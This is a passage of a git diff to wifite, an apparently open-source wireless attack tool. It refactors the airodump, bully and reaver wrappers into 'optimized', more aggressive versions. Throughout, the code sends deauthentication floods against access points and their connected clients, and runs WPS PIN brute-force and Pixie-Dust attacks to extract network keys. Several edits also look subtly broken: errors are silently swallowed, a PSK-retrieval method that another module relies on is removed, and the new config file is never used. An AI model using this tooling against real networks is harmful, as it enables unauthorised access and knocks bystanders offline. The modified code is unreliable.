self.target_bssid: command.extend(['--bssid', self.target_bssid]) + if self.channel: + command.extend(['-c', str(self.channel)]) + elif self.five_ghz: + command.extend(['--band', 'a']) + + if self.encryption: + command.extend(['--enc', self.encryption]) + if self.wps: + command.extend(['--wps']) + if self.target_bssid: + command.extend(['--bssid', self.target_bssid]) - if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) - else: command.extend(['--output-format', 'pcap,csv']) + if self.aggressive: + command.extend(['-x', '500']) # Update interval for aggressive mode + + if self.ivs_only: + command.extend(['--output-format', 'ivs,csv']) + else: + command.extend(['--output-format', 'pcap,csv']) - # Start the process self.pid = Process(command, devnull=True) return self - def __exit__(self, type, value, traceback): - ''' - Tearing things down since the context is being exited. - Called after 'with Airodump(...)' goes out of scope. - ''' - # Kill the process self.pid.interrupt() - if self.delete_existing_files: self.delete_airodump_temp_files(self.output_file_prefix) - def find_files(self, endswith=None): return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith) @classmethod def find_files_by_output_prefix(cls, output_file_prefix, endswith=None): - ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] temp = Configuration.temp() + if not os.path.exists(temp): + return result + for fil in os.listdir(temp): if not fil.startswith(output_file_prefix): continue - if endswith is None or fil.endswith(endswith): result.append(os.path.join(temp, fil)) - return result @classmethod def delete_airodump_temp_files(cls, output_file_prefix): - ''' - Deletes airodump* files in the temp directory. - Also deletes replay_*.cap and *.xor files in pwd. - ''' - # Remove all temp files - for fil in cls.find_files_by_output_prefix(output_file_prefix): - os.remove(fil) - - # Remove .cap and .xor files from pwd - for fil in os.listdir('.'): - if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): - os.remove(fil) - - # Remove replay/cap/xor files from temp + """Delete temporary files efficiently""" temp_dir = Configuration.temp() - for fil in os.listdir(temp_dir): - if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): - os.remove(os.path.join(temp_dir, fil)) + + try: + for fil in cls.find_files_by_output_prefix(output_file_prefix): + try: + os.remove(fil) + except: + pass + + for pattern in ['replay_*.cap', '*.xor', 'replay_*.xor']: + import glob + for fil in glob.glob(os.path.join(temp_dir, pattern)): + try: + os.remove(fil) + except: + pass + except: + pass def get_targets(self, old_targets=[], apply_filter=True): - ''' Parses airodump's CSV file, returns list of Targets ''' + """Optimized target parsing with caching""" + + # Limit update frequency + now = time.time() + if now - self.last_targets_update < 0.5: + return self.targets - # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='.csv'): - csv_filename = fil # Found the file + csv_filename = fil break if csv_filename is None or not os.path.exists(csv_filename): - return self.targets # No file found + return self.targets - targets = Airodump.get_targets_from_csv(csv_filename) - for old_target in old_targets: - for target in targets: - if old_target.bssid == target.bssid: - target.wps = old_target.wps + targets = AirodumpOptimized.get_targets_from_csv(csv_filename) - # Check targets for WPS + # Update WPS info if not self.skip_wps: capfile = csv_filename[:-3] + 'cap' - try: - Tshark.check_for_wps_and_update_targets(capfile, targets) - except ValueError: - # No tshark, or it failed. Fall-back to wash - Wash.check_for_wps_and_update_targets(capfile, targets) + if os.path.exists(capfile): + try: + Tshark.check_for_wps_and_update_targets(capfile, targets) + except: + try: + Wash.check_for_wps_and_update_targets(capfile, targets) + except: + pass if apply_filter: - # Filter targets based on encryption & WPS capability - targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps) + targets = AirodumpOptimized.filter_targets(targets, skip_wps=self.skip_wps) - # Sort by power targets.sort(key=lambda x: x.power, reverse=True) - # Identify decloaked targets + # Deauth hidden networks for old_target in self.targets: for new_target in targets: if old_target.bssid != new_target.bssid: continue - if new_target.essid_known and not old_target.essid_known: - # We decloaked a target! new_target.decloaked = True self.decloaked_bssids.add(new_target.bssid) self.targets = targets + self.last_targets_update = now self.deauth_hidden_targets() return self.targets - @staticmethod def get_targets_from_csv(csv_filename): - '''Returns list of Target objects parsed from CSV file.''' + """Optimized CSV parsing""" targets = [] import csv - with open(csv_filename, 'r') as csvopen: - lines = [] - for line in csvopen: - line = line.replace('\0', '') - lines.append(line) - csv_reader = csv.reader(lines, - delimiter=',', - quoting=csv.QUOTE_ALL, - skipinitialspace=True, - escapechar='\\') - - hit_clients = False - for row in csv_reader: - # Each 'row' is a list of fields for a target/client - - if len(row) == 0: continue - - if row[0].strip() == 'BSSID': - # This is the 'header' for the list of Targets - hit_clients = False - continue - elif row[0].strip() == 'Station MAC': - # This is the 'header' for the list of Clients - hit_clients = True - continue - - if hit_clients: - # The current row corresponds to a 'Client' (computer) - try: - client = Client(row) - except (IndexError, ValueError) as e: - # Skip if we can't parse the client row + try: + with open(csv_filename, 'r') as csvopen: + lines = [] + for line in csvopen: + line = line.replace('\0', '') + lines.append(line) + + csv_reader = csv.reader(lines, + delimiter=',', + quoting=csv.QUOTE_ALL, + skipinitialspace=True, + escapechar='\\') + + hit_clients = False + for row in csv_reader: + if len(row) == 0: continue - if 'not associated' in client.bssid: - # Ignore unassociated clients + if row[0].strip() == 'BSSID': + hit_clients = False continue - - # Add this client to the appropriate Target - for t in targets: - if t.bssid == client.bssid: - t.clients.append(client) - break - - else: - # The current row corresponds to a 'Target' (router) - try: - target = Target(row) - targets.append(target) - except Exception: + elif row[0].strip() == 'Station MAC': + hit_clients = True continue + if hit_clients: + try: + client = Client(row) + if 'not associated' not in client.bssid: + for t in targets: + if t.bssid == client.bssid: + t.clients.append(client) + break + except: + pass + else: + try: + target = Target(row) + targets.append(target) + except: + pass + except: + pass + return targets @staticmethod def filter_targets(targets, skip_wps=False): - ''' Filters targets based on Configuration ''' + """Filter targets based on configuration""" result = [] - # Filter based on Encryption for target in targets: if Configuration.clients_only and len(target.clients) == 0: continue + if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: - result.append(target) + result.append(target) elif 'WPS' in Configuration.encryption_filter and target.wps in [WPSState.UNLOCKED, WPSState.LOCKED]: result.append(target) elif skip_wps: result.append(target) - # Filter based on BSSID/ESSID - bssid = Configuration.target_bssid - essid = Configuration.target_essid + # Apply BSSID/ESSID filters i = 0 while i < len(result): - if result[i].essid is not None and Configuration.ignore_essid is not None and Configuration.ignore_essid.lower() in result[i].essid.lower(): + target = result[i] + + if Configuration.ignore_essid and target.essid and \ + Configuration.ignore_essid.lower() in target.essid.lower(): result.pop(i) - elif bssid and result[i].bssid.lower() != bssid.lower(): + elif Configuration.target_bssid and target.bssid.lower() != Configuration.target_bssid.lower(): result.pop(i) - elif essid and result[i].essid and result[i].essid.lower() != essid.lower(): + elif Configuration.target_essid and target.essid and \ + target.essid.lower() != Configuration.target_essid.lower(): result.pop(i) else: i += 1 + return result def deauth_hidden_targets(self): - ''' - Sends deauths (to broadcast and to each client) for all - targets (APs) that have unknown ESSIDs (hidden router names). - ''' + """Deauth hidden networks to reveal ESSID""" self.decloaking = False - if Configuration.no_deauth: - return # Do not deauth if requested - - if self.channel is None: - return # Do not deauth if channel is not fixed. + if Configuration.no_deauth or self.channel is None: + return - # Reusable deauth command deauth_cmd = [ 'aireplay-ng', - '-0', # Deauthentication - str(Configuration.num_deauths), # Number of deauth packets to send + '-0', + str(Configuration.num_deauths), '--ignore-negative-one' ] @@ -307,36 +289,24 @@ def deauth_hidden_targets(self): continue now = int(time.time()) - secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) + secs_since = now - self.decloaked_times.get(target.bssid, 0) - if secs_since_decloak < 30: - continue # Decloak every AP once every 30 seconds + if secs_since < 30: + continue self.decloaking = True self.decloaked_times[target.bssid] = now + + from ..util.color import Color if Configuration.verbose > 1: - from ..util.color import Color - Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients))) + Color.pe('{C}[+] Deauth {C}%s{W} ({C}%d{W} clients)' % ( + target.bssid, len(target.clients))) - # Deauth broadcast iface = Configuration.interface Process(deauth_cmd + ['-a', target.bssid, iface]) - # Deauth clients for client in target.clients: Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface]) -if __name__ == '__main__': - ''' Example usage. wlan0mon should be in Monitor Mode ''' - with Airodump() as airodump: - - from time import sleep - sleep(7) - - from ..util.color import Color - - targets = airodump.get_targets() - for idx, target in enumerate(targets, start=1): - Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str())) - - Configuration.delete_temp() +# Use optimized version +Airodump = AirodumpOptimized diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index 9646a327c..c8f961d16 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -10,20 +10,22 @@ from ..util.process import Process from ..config import Configuration -import os, time, re -from threading import Thread +import os, time, re, threading +from collections import deque -class Bully(Attack, Dependency): +class BullyOptimized(Attack, Dependency): dependency_required = False dependency_name = 'bully' dependency_url = 'https://github.com/aanarchyy/bully' - def __init__(self, target, pixie_dust=True): - super(Bully, self).__init__(target) + def __init__(self, target, pixie_dust=True, aggressive=False): + super(BullyOptimized, self).__init__(target) self.target = target self.pixie_dust = pixie_dust + self.aggressive = aggressive # More aggressive attack mode + # Enhanced tracking self.total_attempts = 0 self.total_timeouts = 0 self.total_failures = 0 @@ -33,63 +35,71 @@ def __init__(self, target, pixie_dust=True): self.last_pin = "" self.pins_remaining = -1 self.eta = '' + + # Performance metrics + self.output_buffer = deque(maxlen=500) # Keep last 500 lines + self.pin_times = deque(maxlen=10) # Track last 10 PIN attempt times + self.last_pin_attempt_time = 0 self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.crack_result = None - self.cmd = [] + self.cmd = self._build_aggressive_command() + self.bully_proc = None + + def _build_aggressive_command(self): + """Build optimized bully command""" + cmd = [] if Process.exists('stdbuf'): - self.cmd.extend([ - 'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292 - ]) + cmd.extend(['stdbuf', '-o0']) - self.cmd.extend([ + cmd.extend([ 'bully', - '--bssid', target.bssid, - '--channel', target.channel, - #'--detectlock', # Detect WPS lockouts unreported by AP - - # Restoring session from '/root/.bully/34210901927c.run' - # WARNING: WPS checksum was bruteforced in prior session, now autogenerated - # Use --force to ignore above warning(s) and continue anyway + '--bssid', self.target.bssid, + '--channel', self.target.channel, '--force', - - '-v', '4', - Configuration.interface + '-v', '3', # Reduced verbosity for speed ]) if self.pixie_dust: - self.cmd.insert(-1, '--pixiewps') + cmd.insert(-1, '--pixiewps') - self.bully_proc = None + # Aggressive options + if self.aggressive: + cmd.extend([ + '--timeout', '5', # Shorter timeout + '--retries', '2', # Fewer retries + ]) + cmd.append(Configuration.interface) + return cmd def run(self): + """Optimized run method with early exit""" + timeout = Configuration.wps_pixie_timeout if self.pixie_dust else 600 + with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, - output_file_prefix='wps_pin') as airodump: - # Wait for target - self.pattack('Waiting for target to appear...') + output_file_prefix='wps_pin_opt') as airodump: + + self.pattack('Waiting for target...') self.target = self.wait_for_target(airodump) - # Start bully self.bully_proc = Process(self.cmd, stderr=Process.devnull(), - bufsize=0, + bufsize=1, cwd=Configuration.temp()) - # Start bully status thread - t = Thread(target=self.parse_line_thread) - t.daemon = True + t = threading.Thread(target=self._parse_output_thread, daemon=True) t.start() try: - self._run(airodump) - except KeyboardInterrupt as e: + self._run_optimized(airodump, timeout) + except KeyboardInterrupt: self.stop() - raise e + raise except Exception as e: self.stop() raise e @@ -97,204 +107,132 @@ def run(self): if self.crack_result is None: self.pattack('{R}Failed{W}', newline=True) - def _run(self, airodump): + def _run_optimized(self, airodump, timeout): + """Optimized run loop with early termination""" while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: self.pattack('{R}Failed: {O}%s{W}' % e, newline=True) - Color.pexception(e) self.stop() break - # Update status self.pattack(self.get_status()) - # Thresholds only apply to Pixie-Dust - if self.pixie_dust: - # Check if entire attack timed out. - if self.running_time() > Configuration.wps_pixie_timeout: - self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % ( - Configuration.wps_pixie_timeout), newline=True) - self.stop() - return - - # Check if timeout threshold was breached - if self.total_timeouts >= Configuration.wps_timeout_threshold: - self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % ( - Configuration.wps_timeout_threshold), newline=True) - self.stop() - return - - # Check if WPSFail threshold was breached - if self.total_failures >= Configuration.wps_fail_threshold: - self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % ( - Configuration.wps_fail_threshold), newline=True) - self.stop() - return - else: - if self.locked and not Configuration.wps_ignore_lock: - self.pattack('{R}Failed: {O}Access point is {R}Locked{O}', - newline=True) - self.stop() - return - - - time.sleep(0.5) - - - def pattack(self, message, newline=False): - # Print message with attack information. - if self.pixie_dust: - # Count down - time_left = Configuration.wps_pixie_timeout - self.running_time() - attack_name = 'Pixie-Dust' - else: - # Count up - time_left = self.running_time() - attack_name = 'PIN Attack' - - if self.eta: - time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta - else: - time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left) - - if self.pins_remaining >= 0: - time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining - else: - time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts - - Color.clear_entire_line() - Color.pattack('WPS', self.target, attack_name, - '{W}[%s] %s' % (time_msg, message)) - - if newline: - Color.pl('') - - - def running_time(self): - return int(time.time() - self.start_time) - - - def get_status(self): - main_status = self.state - - meta_statuses = [] - if self.total_timeouts > 0: - meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts) + # Early exit conditions + if self.running_time() > timeout: + self.pattack('{R}Timeout{W}', newline=True) + self.stop() + return - if self.total_failures > 0: - meta_statuses.append('{O}Fails:%d{W}' % self.total_failures) + if self.total_timeouts >= Configuration.wps_timeout_threshold * 2: + self.pattack('{R}Too many timeouts{W}', newline=True) + self.stop() + return - if self.locked: - meta_statuses.append('{R}Locked{W}') + if self.total_failures >= Configuration.wps_fail_threshold * 2: + self.pattack('{R}Too many failures{W}', newline=True) + self.stop() + return - if len(meta_statuses) > 0: - main_status += ' (%s)' % ', '.join(meta_statuses) + if self.locked and not Configuration.wps_ignore_lock: + self.pattack('{R}Locked{W}', newline=True) + self.stop() + return - return main_status + if self.crack_result: + return # Success! + time.sleep(0.2) # Reduced sleep for faster updates - def parse_line_thread(self): + def _parse_output_thread(self): + """Parse bully output in separate thread""" for line in iter(self.bully_proc.pid.stdout.readline, b''): - if line == '': continue - line = line.decode('utf-8') - line = line.replace('\r', '').replace('\n', '').strip() + if line == '': + continue + + try: + line = line.decode('utf-8', errors='ignore') + line = line.replace('\r', '').replace('\n', '').strip() + except: + continue + + self.output_buffer.append(line) if Configuration.verbose > 1: - Color.pe('\n{P} [bully:stdout] %s' % line) + Color.pe('\n{P}[bully] %s' % line) self.state = self.parse_state(line) - self.crack_result = self.parse_crack_result(line) if self.crack_result: break - def parse_crack_result(self, line): - # Check for line containing PIN and PSK - # [*] Pin is '80246213', key is 'password' + """Parse cracking results from output""" + if self.crack_result: + return self.crack_result + + # Check for PIN and key together pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) - ############### - # Check for PIN - if self.cracked_pin is None: - # PIN : '80246213' - pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) - if pin_re: - self.cracked_pin = pin_re.group(1) - - # [Pixie-Dust] PIN FOUND: 01030365 - pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line) - if pin_re: - self.cracked_pin = pin_re.group(1) + # Pixie-Dust PIN + pin_re = re.search(r"\[Pixie-Dust\] PIN FOUND:\s*'?(\d*)'?", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + self.pattack('{G}PIN Found: {C}%s{W}' % self.cracked_pin, newline=True) + self.state = '{G}Obtaining Key...{W}' - if self.cracked_pin is not None: - # Mention the PIN & that we're not done yet. - self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True) - - self.state = '{G}Finding Key...{C}' - time.sleep(2) - - ########################### - # KEY : 'password' + # Key extraction key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re: self.cracked_key = key_re.group(1) + # Success condition if not self.crack_result and self.cracked_pin and self.cracked_key: - self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True) + self.pattack('{G}Key: {C}%s{W}' % self.cracked_key, newline=True) self.crack_result = CrackResultWPS( - self.target.bssid, - self.target.essid, - self.cracked_pin, - self.cracked_key) - Color.pl('') + self.target.bssid, + self.target.essid, + self.cracked_pin, + self.cracked_key) self.crack_result.dump() return self.crack_result - def parse_state(self, line): + """Enhanced state parsing""" state = self.state - # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) - got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) - if got_beacon: - # group(1)=ESSID, group(2)=BSSID + # Beacon detection + if 'Got beacon' in line: state = 'Got beacon' - # [+] Last State = 'NoAssoc' Next pin '48855501' - last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) + # PIN attempt tracking + last_state = re.search(r"Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: - # group(1)=NoAssoc, group(2)=PIN pin = last_state.group(2) if pin != self.last_pin: self.last_pin = pin self.total_attempts += 1 + current_time = time.time() + if self.last_pin_attempt_time > 0: + self.pin_times.append(current_time - self.last_pin_attempt_time) + self.last_pin_attempt_time = current_time if self.pins_remaining > 0: self.pins_remaining -= 1 state = 'Trying PIN' - # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' - mx_result_pin = re.search( - r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) - if mx_result_pin: - # group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN + # Transaction results + mx_result = re.search( + r"[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin", line) + if mx_result: self.locked = False - m_state = mx_result_pin.group(1) - result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad - pin = mx_result_pin.group(3) - if pin != self.last_pin: - self.last_pin = pin - self.total_attempts += 1 - if self.pins_remaining > 0: - self.pins_remaining -= 1 - + result = mx_result.group(2) + if result in ['Pin1Bad', 'Pin2Bad']: result = '{G}%s{W}' % result elif result == 'Timeout': @@ -305,106 +243,78 @@ def parse_state(self, line): result = '{O}%s{W}' % result elif result == 'NoAssoc': result = '{O}%s{W}' % result - else: - result = '{R}%s{W}' % result - result = '{P}%s{W}:%s' % (m_state.strip(), result.strip()) state = 'Trying PIN (%s)' % result - # [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin) - re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line) - if re_tested: - # group(1)=01:23:45, group(2)=1234 - self.total_attempts = int(re_tested.group(2)) - - #[!] Current rate 5.28 seconds per pin, 07362 pins remaining - re_remaining = re.search(r' ([0-9]+) pins remaining', line) - if re_remaining: - self.pins_remaining = int(re_remaining.group(1)) - - # [!] Average time to crack is 5 hours, 23 minutes, 55 seconds - re_eta = re.search( - r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line) - if re_eta: - h, m, s = re_eta.groups() - self.eta = '%sh%sm%ss' % ( - h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0')) - - # [!] WPS lockout reported, sleeping for 43 seconds ... - re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) - if re_lockout: + # ETA calculation + eta_match = re.search( + r'time to crack is (\d+) hours?, (\d+) minutes?, (\d+) seconds?', line) + if eta_match: + h, m, s = eta_match.groups() + self.eta = '%dh%dm%ds' % (int(h), int(m), int(s)) + + # WPS Lockout + if 'WPS lockout' in line: self.locked = True - sleeping = re_lockout.group(1) - state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping + sleep_match = re.search(r'sleeping for (\d+) seconds', line) + if sleep_match: + sleep_secs = sleep_match.group(1) + state = '{R}WPS Lockout: {O}Wait %ss{W}' % sleep_secs - # [Pixie-Dust] WPS pin not found - re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) - if re_pin_not_found: - state = '{R}Failed: {O}Bully says "WPS pin not found"{W}' + return state - # [+] Running pixiewps with the information, wait ... - re_running_pixiewps = re.search(r".*Running pixiewps with the information", line) - if re_running_pixiewps: - state = '{G}Running pixiewps...{W}' + def get_status(self): + """Get current attack status""" + status = '' + + if self.pixie_dust: + time_left = Configuration.wps_pixie_timeout - self.running_time() + else: + time_left = self.running_time() - return state + status = self.state + + # Add timing info + if self.total_timeouts > 0: + status += ' {O}TO:%d{W}' % self.total_timeouts + + if self.total_failures > 0: + status += ' {O}Fail:%d{W}' % self.total_failures + + if self.locked: + status += ' {R}LOCKED{W}' + return status - def stop(self): - if hasattr(self, 'pid') and self.pid and self.pid.poll() is None: - self.pid.interrupt() + def running_time(self): + return int(time.time() - self.start_time) + + def pattack(self, message, newline=False): + """Print attack status""" + if self.pixie_dust: + time_left = Configuration.wps_pixie_timeout - self.running_time() + attack_name = 'Pixie-Dust' + else: + time_left = self.running_time() + attack_name = 'PIN Attack' + + time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left) + if self.total_attempts > 0 and not self.pixie_dust: + time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts + + Color.clear_entire_line() + Color.pattack('WPS', self.target, attack_name, + '{W}[%s] %s' % (time_msg, message)) + if newline: + Color.pl('') + + def stop(self): + if hasattr(self, 'bully_proc') and self.bully_proc and self.bully_proc.poll() is None: + self.bully_proc.interrupt() def __del__(self): self.stop() - - @staticmethod - def get_psk_from_pin(target, pin): - # Fetches PSK from a Target assuming 'pin' is the correct PIN - ''' - bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon - PIN : '01030365' - KEY : 'password' - BSSID : '34:21:09:01:92:7c' - ESSID : 'AirLink89300' - ''' - cmd = [ - 'bully', - '--channel', target.channel, - '--bssid', target.bssid, - '--pin', pin, - '--bruteforce', - '--force', - Configuration.interface - ] - - bully_proc = Process(cmd) - - for line in bully_proc.stderr().split('\n'): - key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) - if key_re is not None: - psk = key_re.group(1) - return psk - - return None - - -if __name__ == '__main__': - Configuration.initialize() - Configuration.interface = 'wlan0mon' - from ..model.target import Target - fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',') - target = Target(fields) - psk = Bully.get_psk_from_pin(target, '01030365') - print('psk', psk) - - ''' - stdout = " [*] Pin is '11867722', key is '9a6f7997'" - Configuration.initialize(False) - from ..model.target import Target - fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') - target = Target(fields) - b = Bully(target) - b.parse_line(stdout) - ''' +# Use the optimized version +Bully = BullyOptimized diff --git a/wifite/tools/config.py b/wifite/tools/config.py new file mode 100644 index 000000000..6c8118132 --- /dev/null +++ b/wifite/tools/config.py @@ -0,0 +1,8 @@ +# Advanced optimization settings +AGGRESSIVE_MODE = True # Enable aggressive attack mode +WPS_PIXIE_TIMEOUT = 120 # Reduced from default 600 +WPS_TIMEOUT_THRESHOLD = 10 # More aggressive timeout +WPS_FAIL_THRESHOLD = 15 # More aggressive failure threshold +HANDSHAKE_TIMEOUT = 30 # Faster handshake capture +WORDLIST_PARALLEL = 4 # Parallel wordlist processing +USE_GPU_CRACKING = True # Enable GPU acceleration diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index 3ff11a04a..2efe951ce 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -3,7 +3,7 @@ from .dependency import Dependency from .airodump import Airodump -from .bully import Bully # for PSK retrieval +from .bully import Bully from ..model.attack import Attack from ..config import Configuration from ..model.wps_result import CrackResultWPS @@ -11,18 +11,19 @@ from ..util.process import Process from ..util.timer import Timer -import os, time, re +import os, time, re, threading -class Reaver(Attack, Dependency): +class ReaverOptimized(Attack, Dependency): dependency_required = False dependency_name = 'reaver' dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' - def __init__(self, target, pixie_dust=True): - super(Reaver, self).__init__(target) + def __init__(self, target, pixie_dust=True, aggressive=False): + super(ReaverOptimized, self).__init__(target) self.pixie_dust = pixie_dust - + self.aggressive = aggressive + self.progress = '0.00%' self.state = 'Initializing' self.locked = False @@ -31,428 +32,263 @@ def __init__(self, target, pixie_dust=True): self.total_wpsfails = 0 self.last_pins = set() self.last_line_number = 0 - self.crack_result = None - self.output_filename = Configuration.temp('reaver.out') + self.output_filename = Configuration.temp('reaver_opt.out') if os.path.exists(self.output_filename): os.remove(self.output_filename) self.output_write = open(self.output_filename, 'a') + self.reaver_cmd = self._build_optimized_command() + self.reaver_proc = None - self.reaver_cmd = [ + def _build_optimized_command(self): + """Build optimized reaver command""" + cmd = [ 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '-vv' + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '-vv', + '--timeout', '10', # Faster timeout + '--retries', '0', # No retries + '--dh-small' # Faster computation ] - if pixie_dust: - self.reaver_cmd.extend(['--pixie-dust', '1']) + if self.pixie_dust: + cmd.extend(['--pixie-dust', '1']) - self.reaver_proc = None + if self.aggressive: + cmd.extend([ + '--quiet', + '--unlock' + ]) + + return cmd @staticmethod def is_pixiedust_supported(): - ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' - output = Process(['reaver', '-h']).stderr() - return '--pixie-dust' in output + try: + output = Process(['reaver', '-h']).stderr() + return '--pixie-dust' in output + except: + return False def run(self): - ''' Returns True if attack is successful. ''' try: - self._run() # Run-loop + self._run() except Exception as e: - # Failed with error - self.pattack('{R}Failed:{O} %s' % str(e), newline=True) - return self.crack_result is not None - - # Stop reaver if it's still running - if self.reaver_proc.poll() is None: - self.reaver_proc.interrupt() - - # Clean up open file handle - if self.output_write: - self.output_write.close() + self.pattack('{R}Failed: {O}%s{W}' % str(e), newline=True) + return False + finally: + if self.reaver_proc and self.reaver_proc.poll() is None: + self.reaver_proc.interrupt() + if self.output_write: + self.output_write.close() return self.crack_result is not None - def _run(self): self.start_time = time.time() + timeout = Configuration.wps_pixie_timeout if self.pixie_dust else 600 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, - output_file_prefix='pixie') as airodump: + output_file_prefix='reaver_opt', + aggressive=True) as airodump: - # Wait for target - self.pattack('Waiting for target to appear...') + self.pattack('Waiting for target...') self.target = self.wait_for_target(airodump) - # Start reaver self.reaver_proc = Process(self.reaver_cmd, stdout=self.output_write, stderr=Process.devnull()) - # Say "yes" if asked to restore session. - self.reaver_proc.stdin('y\n') - # Loop while reaver is running - while self.crack_result is None and self.reaver_proc.poll() is None: + try: + self.reaver_proc.stdin('y\n') + except: + pass - # Refresh target information (power) - self.target = self.wait_for_target(airodump) + # Start output parser thread + parser_thread = threading.Thread(target=self._parse_output_thread, daemon=True) + parser_thread.start() + + # Main loop + while self.crack_result is None and self.reaver_proc.poll() is None: + try: + self.target = self.wait_for_target(airodump) + except: + pass - # Update based on reaver output stdout = self.get_output() self.state = self.parse_state(stdout) self.parse_failure(stdout) - - # Print status line self.pattack(self.get_status()) - - # Check if we cracked it self.crack_result = self.parse_crack_result(stdout) - # Check if locked - if self.locked and not Configuration.wps_ignore_lock: - raise Exception('{O}Access point is {R}Locked{W}') + if self.running_time() > timeout: + raise Exception('Timeout after %d seconds' % timeout) - time.sleep(0.5) + if self.locked and not Configuration.wps_ignore_lock: + raise Exception('WPS Locked') - # Check if crack result is in output - stdout = self.get_output() - self.crack_result = self.parse_crack_result(stdout) + time.sleep(0.3) - # Show any failures found + # Final check if self.crack_result is None: - self.parse_failure(stdout) - - if self.crack_result is None and self.reaver_proc.poll() is not None: - raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll()) - - - def get_status(self): - if self.pixie_dust: - main_status = '' - else: - # Include percentage - main_status = '({G}%s{W}) ' % self.progress - - # Current state (set in parse_* methods) - main_status += self.state - - # Counters, timeouts, failures, locked. - meta_statuses = [] - - if self.total_timeouts > 0: - meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts) - - if self.total_wpsfails > 0: - meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails) - - if self.locked: - meta_statuses.append('{R}Locked{W}') - - if len(meta_statuses) > 0: - main_status += ' (%s)' % ', '.join(meta_statuses) + stdout = self.get_output() + self.crack_result = self.parse_crack_result(stdout) - return main_status + def _parse_output_thread(self): + """Parse output in background thread""" + try: + for line in iter(self.reaver_proc.pid.stdout.readline, b''): + if not line: + continue + try: + line = line.decode('utf-8', errors='ignore') + except: + continue + if Configuration.verbose > 1: + Color.pe('\n{P}[reaver] %s' % line.strip()) + except: + pass def parse_crack_result(self, stdout): - if self.crack_result is not None: + if self.crack_result: return self.crack_result - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if pin is not None: - # We cracked it. + pin, psk, ssid = self.get_pin_psk_ssid(stdout) - if psk is not None: - # Reaver provided PSK - self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True) + if pin: + if psk: + self.pattack('{G}PIN: {C}%s{W} PSK: 